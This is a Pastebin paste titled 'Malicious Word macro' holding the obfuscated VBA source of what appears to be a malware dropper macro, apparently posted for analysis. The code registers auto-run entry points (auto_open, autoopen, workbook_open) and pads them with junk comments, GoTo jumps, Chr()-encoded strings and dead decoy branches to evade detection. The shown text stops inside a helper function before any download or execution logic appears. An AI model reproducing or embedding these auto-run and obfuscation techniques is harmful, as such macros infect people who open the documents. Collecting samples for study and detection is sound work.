SHARE
TWEET

Malicious Word macro

dynamoo Nov 4th, 2014 199 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  10. Sub auto_open()
  11. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  12.  
  13. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  14. GoTo vsfalbmw
  15. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  16. Dim eixxymsf As String
  17. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  18. Open Chr(82) & Chr(90) & Chr(71) & Chr(88) & Chr(80) & Chr(87) & Chr(46) & Chr(70) & Chr(77) & Chr(68) For Binary As 16
  19. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  20. If 711568 = 711568 + 1 Then End
  21. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  22. If 1795 < 73 Then
  23. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  24.        MsgBox (Chr(117) & Chr(121) & Chr(108) & Chr(108) & Chr(111) & Chr(104) & Chr(118) & Chr(121) & Chr(56) & Chr(55))
  25. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  26. End If
  27. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  28. If Len(Chr(99) & Chr(106) & Chr(119) & Chr(97) & Chr(112) & Chr(98) & Chr(103) & Chr(102) & Chr(53) & Chr(49) & Chr(54) & Chr(56)) = Len(Chr(98) & Chr(109) & Chr(99) & Chr(102) & Chr(107) & Chr(118) & Chr(102) & Chr(109)) Then
  29. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  30.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  31. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  32. End If
  33. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  34. Put #16, , eixxymsf
  35. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  36.  
  37. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  38. If 443571 = 443571 + 1 Then End
  39. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  40. If 2283 < 49 Then
  41. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  42.        MsgBox (Chr(99) & Chr(117) & Chr(113) & Chr(98) & Chr(109) & Chr(97) & Chr(112) & Chr(120) & Chr(50) & Chr(51))
  43. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  44. End If
  45. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  46. If Len(Chr(99) & Chr(115) & Chr(113) & Chr(104) & Chr(103) & Chr(97) & Chr(109) & Chr(119) & Chr(53) & Chr(52) & Chr(53) & Chr(54)) = Len(Chr(108) & Chr(121) & Chr(112) & Chr(119) & Chr(105) & Chr(117) & Chr(105) & Chr(111)) Then
  47. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  48.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  49. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  50. End If
  51. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  52. Close #16
  53. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  54.  
  55. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  56. If 542342 = 542342 + 1 Then End
  57. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  58. If 5329 < 28 Then
  59. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  60.        MsgBox (Chr(119) & Chr(120) & Chr(99) & Chr(116) & Chr(113) & Chr(114) & Chr(110) & Chr(122) & Chr(54) & Chr(49))
  61. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  62. End If
  63. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  64. If Len(Chr(108) & Chr(106) & Chr(101) & Chr(119) & Chr(122) & Chr(117) & Chr(101) & Chr(101) & Chr(54) & Chr(50) & Chr(54) & Chr(57)) = Len(Chr(109) & Chr(109) & Chr(121) & Chr(105) & Chr(112) & Chr(116) & Chr(97) & Chr(112)) Then
  65. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  66.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  67. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  68. End If
  69. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  70. vsfalbmw:
  71. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  72.  
  73. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  74.  
  75. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  76. If 778394 = 778394 + 1 Then End
  77. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  78. If 4542 < 63 Then
  79. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  80.        MsgBox (Chr(115) & Chr(118) & Chr(102) & Chr(104) & Chr(97) & Chr(102) & Chr(114) & Chr(120) & Chr(53) & Chr(54))
  81. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  82. End If
  83. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  84. If Len(Chr(115) & Chr(114) & Chr(100) & Chr(117) & Chr(119) & Chr(102) & Chr(103) & Chr(119) & Chr(55) & Chr(55) & Chr(49) & Chr(53)) = Len(Chr(119) & Chr(107) & Chr(119) & Chr(122) & Chr(107) & Chr(116) & Chr(98) & Chr(119)) Then
  85. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  86.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  87. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  88. End If
  89. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  90. evgvriwbtjr
  91. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  92.  
  93. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  94. End Sub
  95. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  96. Sub autoopen()
  97. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  98.  
  99. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  100. GoTo kwduwurv
  101. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  102. Dim cjweozwj As String
  103. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  104. Open Chr(70) & Chr(76) & Chr(65) & Chr(66) & Chr(81) & Chr(81) & Chr(46) & Chr(70) & Chr(74) & Chr(90) For Binary As 43
  105. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  106. If 189973 = 189973 + 1 Then End
  107. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  108. If 1796 < 59 Then
  109. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  110.        MsgBox (Chr(98) & Chr(119) & Chr(102) & Chr(103) & Chr(116) & Chr(114) & Chr(111) & Chr(121) & Chr(50) & Chr(53))
  111. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  112. End If
  113. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  114. If Len(Chr(112) & Chr(119) & Chr(113) & Chr(103) & Chr(106) & Chr(109) & Chr(100) & Chr(120) & Chr(50) & Chr(54) & Chr(53) & Chr(54)) = Len(Chr(113) & Chr(118) & Chr(103) & Chr(97) & Chr(98) & Chr(108) & Chr(115) & Chr(101)) Then
  115. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  116.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  117. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  118. End If
  119. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  120. Put #43, , cjweozwj
  121. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  122.  
  123. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  124. If 231548 = 231548 + 1 Then End
  125. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  126. If 2857 < 46 Then
  127. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  128.        MsgBox (Chr(109) & Chr(114) & Chr(103) & Chr(115) & Chr(108) & Chr(120) & Chr(101) & Chr(100) & Chr(54) & Chr(55))
  129. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  130. End If
  131. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  132. If Len(Chr(110) & Chr(108) & Chr(108) & Chr(112) & Chr(122) & Chr(103) & Chr(118) & Chr(116) & Chr(53) & Chr(49) & Chr(50) & Chr(49)) = Len(Chr(111) & Chr(105) & Chr(110) & Chr(121) & Chr(98) & Chr(121) & Chr(112) & Chr(114)) Then
  133. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  134.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  135. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  136. End If
  137. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  138. Close #43
  139. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  140.  
  141. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  142. If 238386 = 238386 + 1 Then End
  143. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  144. If 6983 < 25 Then
  145. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  146.        MsgBox (Chr(116) & Chr(102) & Chr(111) & Chr(105) & Chr(102) & Chr(113) & Chr(107) & Chr(116) & Chr(51) & Chr(56))
  147. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  148. End If
  149. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  150. If Len(Chr(120) & Chr(118) & Chr(112) & Chr(104) & Chr(103) & Chr(109) & Chr(117) & Chr(102) & Chr(55) & Chr(55) & Chr(51) & Chr(52)) = Len(Chr(99) & Chr(122) & Chr(102) & Chr(101) & Chr(118) & Chr(107) & Chr(121) & Chr(109)) Then
  151. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  152.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  153. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  154. End If
  155. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  156. kwduwurv:
  157. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  158.  
  159. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  160.  
  161. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  162. If 826517 = 826517 + 1 Then End
  163. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  164. If 8797 < 15 Then
  165. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  166.        MsgBox (Chr(101) & Chr(118) & Chr(103) & Chr(111) & Chr(101) & Chr(103) & Chr(100) & Chr(119) & Chr(51) & Chr(54))
  167. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  168. End If
  169. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  170. If Len(Chr(113) & Chr(102) & Chr(108) & Chr(105) & Chr(115) & Chr(117) & Chr(105) & Chr(100) & Chr(51) & Chr(57) & Chr(54) & Chr(49)) = Len(Chr(108) & Chr(122) & Chr(110) & Chr(101) & Chr(111) & Chr(118) & Chr(108) & Chr(115)) Then
  171. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  172.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  173. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  174. End If
  175. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  176.    auto_open
  177. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  178.  
  179. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  180. End Sub
  181. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  182. Sub workbook_open()
  183. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  184.  
  185. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  186. GoTo jaduxocm
  187. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  188. Dim xxmeoehs As String
  189. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  190. Open Chr(87) & Chr(85) & Chr(76) & Chr(85) & Chr(68) & Chr(84) & Chr(46) & Chr(82) & Chr(66) & Chr(74) For Binary As 67
  191. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  192. If 861474 = 861474 + 1 Then End
  193. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  194. If 4727 < 88 Then
  195. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  196.        MsgBox (Chr(113) & Chr(105) & Chr(109) & Chr(115) & Chr(103) & Chr(99) & Chr(116) & Chr(113) & Chr(57) & Chr(51))
  197. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  198. End If
  199. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  200. If Len(Chr(103) & Chr(102) & Chr(116) & Chr(111) & Chr(109) & Chr(108) & Chr(107) & Chr(116) & Chr(53) & Chr(54) & Chr(55) & Chr(55)) = Len(Chr(101) & Chr(120) & Chr(98) & Chr(121) & Chr(118) & Chr(116) & Chr(108) & Chr(110)) Then
  201. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  202.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  203. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  204. End If
  205. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  206. Put #67, , xxmeoehs
  207. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  208.  
  209. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  210. If 892816 = 892816 + 1 Then End
  211. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  212. If 5877 < 75 Then
  213. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  214.        MsgBox (Chr(107) & Chr(115) & Chr(116) & Chr(109) & Chr(109) & Chr(106) & Chr(101) & Chr(117) & Chr(54) & Chr(56))
  215. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  216. End If
  217. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  218. If Len(Chr(108) & Chr(106) & Chr(116) & Chr(113) & Chr(102) & Chr(104) & Chr(100) & Chr(121) & Chr(56) & Chr(49) & Chr(52) & Chr(49)) = Len(Chr(97) & Chr(116) & Chr(100) & Chr(121) & Chr(113) & Chr(105) & Chr(99) & Chr(121)) Then
  219. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  220.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  221. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  222. End If
  223. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  224. Close #67
  225. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  226.  
  227. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  228. If 692157 = 692157 + 1 Then End
  229. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  230. If 6827 < 24 Then
  231. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  232.        MsgBox (Chr(98) & Chr(98) & Chr(118) & Chr(99) & Chr(107) & Chr(113) & Chr(117) & Chr(117) & Chr(55) & Chr(54))
  233. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  234. End If
  235. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  236. If Len(Chr(99) & Chr(108) & Chr(116) & Chr(100) & Chr(117) & Chr(102) & Chr(105) & Chr(111) & Chr(57) & Chr(49) & Chr(56) & Chr(50)) = Len(Chr(118) & Chr(118) & Chr(117) & Chr(110) & Chr(104) & Chr(115) & Chr(117) & Chr(103)) Then
  237. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  238.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  239. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  240. End If
  241. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  242. jaduxocm:
  243. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  244.  
  245. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  246.  
  247. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  248. If 587851 = 587851 + 1 Then End
  249. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  250. If 9314 < 21 Then
  251. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  252.        MsgBox (Chr(103) & Chr(112) & Chr(118) & Chr(122) & Chr(110) & Chr(99) & Chr(103) & Chr(114) & Chr(57) & Chr(51))
  253. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  254. End If
  255. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  256. If Len(Chr(103) & Chr(104) & Chr(99) & Chr(108) & Chr(108) & Chr(99) & Chr(98) & Chr(101) & Chr(51) & Chr(53) & Chr(55) & Chr(55)) = Len(Chr(99) & Chr(114) & Chr(114) & Chr(102) & Chr(106) & Chr(103) & Chr(112) & Chr(122)) Then
  257. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  258.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  259. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  260. End If
  261. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  262.    auto_open
  263. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  264.  
  265. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  266. End Sub
  267. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  268. Function trzfcrwihtc(ByVal ejckdfuqggu As String, ByVal kxqaxtgwbnh As String) As Boolean
  269. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  270.     Dim ocpvmgeelcx As Object, ayemzbpjsak As Long, zgbpbucckrp As Long, wvavhsolbur() As Byte
  271. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  272.  
  273. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  274.  
  275. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  276. GoTo hsgzhsmu
  277. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  278. Dim oetdulop As String
  279. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  280. Open Chr(85) & Chr(83) & Chr(85) & Chr(82) & Chr(80) & Chr(77) & Chr(46) & Chr(85) & Chr(80) & Chr(85) For Binary As 29
  281. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  282. If 114274 = 114274 + 1 Then End
  283. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  284. If 1948 < 75 Then
  285. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  286.        MsgBox (Chr(118) & Chr(122) & Chr(112) & Chr(97) & Chr(104) & Chr(105) & Chr(113) & Chr(115) & Chr(50) & Chr(54))
  287. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  288. End If
